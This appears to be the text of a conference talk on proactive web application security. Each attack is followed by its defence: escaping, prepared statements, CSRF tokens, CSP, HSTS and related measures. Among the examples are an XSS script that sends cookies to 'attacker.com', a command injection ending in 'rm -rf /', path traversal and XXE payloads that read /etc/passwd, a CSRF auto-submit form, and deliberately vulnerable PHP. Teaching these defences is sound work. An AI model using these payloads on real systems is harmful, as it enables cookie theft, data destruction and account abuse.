Proactive web security

Keeping your web application secure and free from vulnerabilities is hard work, even if you know the OWASP Top 10. In this talk I will show tools, best practices and patterns to help you with this, so that you can find security issues before an attacker does and even prevent them in the first place.

1. Proactive Web Security @BastianHofmann
4. Security & Site Reliability Engineering Team
5. 14 million users
6. 193 countries
7. ~1800 request/s
9. >100 million publications
10. We are a target for attackers
11. So let’s think about the harmful things a hacker can do
12. And what we can do to prevent them
13. Disclaimer
14. None of these lists are ever complete
15. Stay up-to-date
16. Thinking about Security is important
17. • 2013/14 • 3 billion user accounts
18. • 2016 • 412 million user accounts
19. • 2016 • 145 million user accounts
20. • 2017 • Personal Information of
 143 million consumers
21. • 2011 • 77 million user accounts
 $171 million loss
22. …
23. Prepare yourself
25. Try to get access to the database
26. $ mongo yoursite.com
27. Do not expose your databases to the internet
28. Use authentication and TLS
29. https://blog.shodan.io/its-the-data-stupid/ “There are nearly 30,000 [MongoDB] instances on the Internet that don't have any authorization enabled”
30. Scan your public IPs for open ports
31. $ nmap scanme.nmap.org Starting Nmap 7.60 … Not shown: 994 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 9929/tcp open nping-echo https://nmap.org/
32. $ nmap www.researchgate.net Starting Nmap 7.60 … PORT STATE SERVICE 80/tcp open http 443/tcp open https
33. These are still two open ports
34. Attack vector
35. Bugs in your software
36. Injections
37. SQL Injection
38. <?php $userId = $_GET[‘userId’]; $sql = ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
39. <?php // 12 OR TRUE $userId = $_GET[‘userId’]; $sql = ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
40. Sanitise and validate input data
41. <?php $userId = (int) $_GET[‘userId’]; $sql = ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
42. https://symfony.com/doc/current/validation.html
43. It does not prevent SQL injections
44. Escape
45. <?php $name = $_GET[‘name’]; $name = $mysqli->real_escape_string($name); $sql = ‘SELECT * FROM users WHERE name = ’ . $name; $mysqli->query($sql);
46. Use an ORM
47. http://www.doctrine-project.org/projects/orm.html
48. <?php $userId = (int) $_GET[‘userId’]; $user = $entityManager->find( ‘User’, $userId );
49. Use prepared statements
50. <?php $userId = (int) $_GET[‘userId’]; $rsm = new ResultSetMapping(); $query = $entityManager->createNativeQuery( 'SELECT * FROM users WHERE userId = ?', $rsm ); $query->setParameter(1, $userId); $users = $query->getResult();
51. Injection in HTTP requests
52. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/?id=' . $_GET[‘id'] );
53. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', // 6&admin=true 'https://api.com/path/?id=' . $_GET[‘id'] );
54. Always escape
55. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/?id=' . urlencode($_GET[‘id’]) );
56. Use sensible libraries
57. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/', ['query' => ['id' => $_GET['id']]] );
58. Command injection
59. <?php $logFile = $_GET['logFile']; passthru( 'cat ' . __DIR__ . '/' . $logFile );
60. <?php // foo.log && rm -rf / $logFile = $_GET['logFile']; passthru( 'cat ' . __DIR__ . '/' . $logFile );
61. Always escape
62. <?php $logFile = $_GET['logFile']; passthru( 'cat ' . escapeshellarg( __DIR__ . '/' . $logFile ) );
63. Path traversals
64. <?php // ../../../etc/passwd $logFile = $_GET['logFile']; passthru( 'cat ' . escapeshellarg( __DIR__ . '/' . $logFile ) );
65. Validation
66. <?php $logFile = $_GET['logFile']; if (!preg_match('/^[a-z]+\.log$/', $logFile) { throw new \Exception('Invalid file name'); } passthru( 'cat ' . escapeshellarg( __DIR__ . '/' . $logFile ) );
67. <?php $logFile = $_GET['logFile']; $file = realpath(__DIR__ . '/' . $logFile); if (dirname($file) !== __DIR__) { throw \Exception('Invalid file'); } passthru( 'cat ' . escapeshellarg( $file ) );
68. Code injection
69. <?php $myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;");
70. Do not use eval or create_function
71. XML Entity Injection
72. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/ passwd" >]><foo>&xxe;</foo>
73. Disable entity loading
74. <?php // set this very early in your request libxml_disable_entity_loader(true);
75. Only enable it, if you really need it
76. Trusted SOAP APIs over TLS
77. <?php function dangerouslyEnableXmlEntityLoader( callable $f ) { try { libxml_disable_entity_loader(false); return $f(); } finally { libxml_disable_entity_loader(true); } }
78. Use static code analysis, e.g. with PHP_CodeSniffer
79. •Forbid usage of functions •Ensure that only static strings without variables are passed as arguments •Ensure that controllers implement access control •…
80. If the attacker can’t find any injection vulnerabilities
81. Trying to find bugs in libraries you use
82. Keep things up to date
83. Check for known security vulnerabilities
85. https://github.com/sensiolabs/security-checker
86. $ php security-checker security:check ./composer.lock Symfony Security Check Report ============================= [OK] No packages have known vulnerabilities.
88. https://github.com/nodesecurity/nsp
89. $ nsp check --reporter summary (+) No known vulnerabilities found
90. Trying to find bugs in your infrastructure
91. Web-Server
92. PHP
93. OS
94. …
95. Keep things up to date
96. Scan for known vulnerabilities
97. https://github.com/future-architect/vuls
98. localhost (centos7.3.1611) ========================== Total: 109 (High:35 Medium:55 Low:16 ?:3) 31 updatable packages CVE-2015-2806 10.0 HIGH (nvd) Stack-based buffer overflow in asn1_der_decoding in libtasn1 before 4.4 allows remote attackers to have unspecified impact via unknown vectors.
99. If there are no vulnerabilities so far
100. Try to take over accounts
101. Man-in-the-middle attacks
102. HTTP is plain text
103. Very easy to read and modify on the wire
104. Public WiFis
105. $ sudo tcpdump -v port 80
106. $ curl http://google.com
107. 14:06:40.337900 IP6 (flowlabel 0xbb911, hlim 57, next-header TCP (6) payload length: 549) muc11s14-in-x0e.1e100.net.http > 2a02:8109:9880:2e9c:94b4:a371:f1b3:b82b.60808: Flags [P.], cksum 0x4ae9 (correct), seq 1:518, ack 75, win 106, options [nop,nop,TS val 2632812618 ecr 335746159], length 517: HTTP, length: 517 HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Location: http://www.google.de/?gfe_rd=cr&dcr=0&ei=4LJYWo6FFKiF8Qe9w63gAQ Content-Length: 268 Date: Fri, 12 Jan 2018 13:06:40 GMT <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.de/? gfe_rd=cr&amp;dcr=0&amp;ei=4LJYWo6FFKiF8Qe9w63gAQ">here</A>. </BODY></HTML>
108. Encrypt the traffic
109. TLS
110. But “TLS is slow and expensive”
111. https://letsencrypt.org/
112. https://istlsfastyet.com/
113. Check config
114. https://www.ssllabs.com/ssltest
116. What happens when you enter a URL into the address bar?
118. $ curl -I http://www.researchgate.net HTTP/1.1 301 Moved Permanently Content-Length: 178 Content-Type: text/html Date: Fri, 12 Jan 2018 13:02:35 GMT Location: https://www.researchgate.net/ Server: nginx Connection: keep-alive
119. Man-in-the-Middle Attack on initial redirect
120. Strict-Transport- Security https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
121. strict-transport-security: max- age=15552000; includeSubDomains; preload
122. chrome://net-internals/#hsts
123. Man-in-the-Middle Attack on the very first time the user visits a site
124. Browser Preloads
125. strict-transport-security: max- age=15552000; includeSubDomains; preload
126. https://hstspreload.org/
127. So no man-in-the middle
128. Brute force to guess the session id
129. Session ID should be long enough
130. https://secure.php.net/manual/en/ session.configuration.php#ini.session.hash-function
131. Brute force to guess the password
132. Ratelimits
133. Captchas
135. Log logins
136. .. and attempts
138. Remote logout
140. Alert user of logins on a new device
142. Two-Factor- Authentication
143. “Less then 10 percent of all google users use Two-Factor- Authentication” http://uk.pcmag.com/news/92919/most-google-accounts- dont-use-two-factor-authentication
144. E-Mail only logins
150. Works great on mobile where entering a password is tedious
151. Getting into the accounts directly is not possible or very expensive
152. Doing actions on the user’s behalf without direct account takeover
153. Cross Site Request Forgery
154. http://site.com/deleteCurrentAccount
155. Session cookie is necessary for the request to work
156. On the site of an attacker
157. <img src=“http://site.com/deleteCurrentAccount" />
158. The browser automatically adds the session cookie when the image is fetched
159. Or an email with “Hey click on http://bit.ly/ 2n1b42n to win”
160. Don’t support GET requests for writing operations
161. Though that does not help
162. On the site of an attacker
163. <form method="POST" id="form" action="http://site.com/deleteCurrentAccount"> </form> <script> document.getElementById("form") .submit() </script>
164. CSRF tokens
165. Create token that has the Session ID cookie value encrypted
166. <?php $plaintext = $sessionId . '/' . $userId . '/' . time(); $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $token = base64_encode($nonce . sodium_crypto_secretbox($plaintext, $nonce, $key));
167. Add this token to every non GET request
168. <form method="POST" id="form" action=“http://site.com/deleteCurrentAccount"> <input type="hidden" name="csrf_token" value="<?php echo $token ?>" /> </form>
169. Same for XHR requests
170. Verify that the content of the token matches to Session from the cookie
171. <?php $token = $_POST['csrf_token']; $nonce = substr($token, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $crypt = substr($token, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $plaintext = sodium_crypto_secretbox_open($crypt, $nonce, $key); [$sessionId, $userId, $time] = explode('/', $plaintext); if ( $sessionId !== session_id() || $userId !== $_SESSION['userId'] || time() - $time > 7200 ) { throw \Exception('Invalid csrf token'); }
172. Because of the Cross Origin Policy an attacker can not get hold of a matching CSRF token
173. Libraries / Frameworks
174. https://symfony.com/doc/current/security/csrf.html
175. Same Site Cookies
176. Browser only sends cookie in a “first-party-context”
177. http://www.sjoerdlangkemper.nl/2016/04/14/preventing- csrf-with-samesite-cookie-attribute/
178. Set-Cookie: sessionid=...; Secure; HttpOnly; SameSite=strict
179. https://wiki.php.net/rfc/same-site-cookie
180. https://caniuse.com/#feat=same-site-cookie-attribute
181. But there are other ways to do something on behalf of the user
182. XSS Injection
183. <html> <body> <div> User generated comment that comes from database </div> </body> </html>
184. <html> <body> <div> <?php echo $comment; ?> </div> </body> </html>
185. <html> <body> <div> User generated comment <script> fetch( 'http://attacker.com/?cookies=' + document.cookie ) </script> that comes from database </div> </body> </html>
186. Escape content
187. <html> <body> <div> <?php echo htmlspecialchars($comment); ?> </div> </body> </html>
188. Template libraries
189. https://twig.symfony.com/
190. {% autoescape "html" %} <html> <body> <div> {{ comment }} </div> </body> </html> {% endautoescape %}
191. https://mustache.github.io/
192. <html> <body> <div> {{comment}} </div> </body> </html>
193. Frontend frameworks
194. https://reactjs.org/
195. What if you want to allow certain HTML tags
196. • Formatting • Links • Paragraphes
197. HTML Purifier
198. http://htmlpurifier.org/
199. $config = HTMLPurifier_Config::createDefault(); $purifier = new HTMLPurifier($config); $cleanHtml = $purifier->purify($dirtyHtml);
200. It’s easy to make errors
201. Try to limit the impact
202. HTTPS only Cookies
203. Set-Cookie: sessionid=...; Secure; HttpOnly
204. $expire = 0; $path = ''; $domain = ''; $secure = true; $httpOnly = true; setcookie( 'sessionId', '...', $expire, $path, $domain, $secure, $httpOnly );
205. Content Security Policy
206. https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
207. Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';
209. Reporting
210. Content-Security-Policy: default-src … report-uri /csp_errors;
211. Do not allow inline script tags
212. But if you must
213. CSP Nonces
214. Content-Security-Policy: script-src 'nonce-2726c7f26c'
215. <script nonce="2726c7f26c">...</script>
216. Still HTML/XSS injection vulnerabilities are bad
217. Try to detect them
218. In your template library
219. https://mustache.github.io/
220. Every time something gets escaped, also replace “e” with an escape sequence
221. Before returning the resulting HTML
222. Check if there are any “e” characters left
223. If yes, log this as a potential XSS vulnerability
224. Replace the escape sequence back to “e”
225. <div class="some-name"> {{firstName}} {{{lastName}}} </div>
226. firstName: Peter lastName: Parker
227. <div class="som___101___-nam___101___"> P___101___t___101___r Parker </div>
228. <div class="som___101___-nam___101___"> P___101___t___101___r Parker </div>
229. No XSS vulnerabilities
230. Trying to trick user into providing sensitive information
231. Phishing
232. Mostly hard to prevent because it is out of your control
233. But some attack vectors are preventable
234. Clickjacking
237. <html> <body> <iframe src="https://www.researchgate.net/ login"> </iframe> <script> ... </script> </body> </html>
238. No direct access to page in IFRAME possible
239. Invisible input boxes overlaying the IFRAME
 to capture input
240. Forbid displaying your page in an IFRAME
241. X-Frame-Options: SAMEORIGIN
242. Tabnabbing
243. <a href="http://external.page" target="_blank"> Link </a>
244. Common for linking URLs in user provided content
245. In the opened window
246. <script> if (window.opener) { opener.location = 'http://phishing- site.com'; } </script>
247. Prevention
248. <a href="http://external.page" target="_blank" rel="noopener"> Link </a>
249. https://mathiasbynens.github.io/rel-noopener/
250. Speaking of URL’s in user generated content
251. researchgate.net/login rеsearchgate.net/login Spot the difference
252. ASCII: researchgate.net/login IDN: rеsearchgate.net/login This is a cyrillic “e”
253. International domain names
254. https://en.wikipedia.org/wiki/IDN_homograph_attack
255. Warn the user before browsing to a IDN URL
257. Warn on misspellings
258. reserchgate.net/login
259. researchgate.tv/login
260. researchgate.education/login
261. researchgate.attacker.com/login
262. Follow redirects
263. http://bit.ly/1bdDlXc
265. So that was a lot of information
266. Let’s sum it up
267. The internet is a scary place
268. If you have users you’re a target
269. Stay alert
270. Invest into good security practices
271. There is always more
272. Stay up to date
273. http://speakerdeck.com/u/bastianhofmann
274. http://twitter.com/BastianHofmann http://lanyrd.com/people/BastianHofmann http://speakerdeck.com/u/bastianhofmann mail@bastianhofmann.de
275. Resources •https://www.owasp.org •https://twitter.com/miss_jwo/status/ 957555207868690434
276. Backup slides
277. Check for internal IPS
279. Self XSS
280. “Hey open the developer tools and paste this code there to get special features”
281. Add console warning
283. <script> if ( typeof console === 'object' && console.log ) { console.log( '%cWARNING!', 'color:white; background:red;' ); ... } </script>
284. With everything you do
285. Log and monitor sensitive operations
286. Alerts on suspicious behaviour
287. Web Application Firewalls
288. Ability to quickly block traffic patterns
289. Linking URLs in user generated content
290. Information disclosure through Referrer
291. https://developer.mozilla.org/en-US/docs/Web/HTTP/ Headers/Referer
292. Referrer Policy
293. Referrer-Policy: origin-when-cross-origin
294. https://developer.mozilla.org/en-US/docs/Web/HTTP/ Headers/Referrer-Policy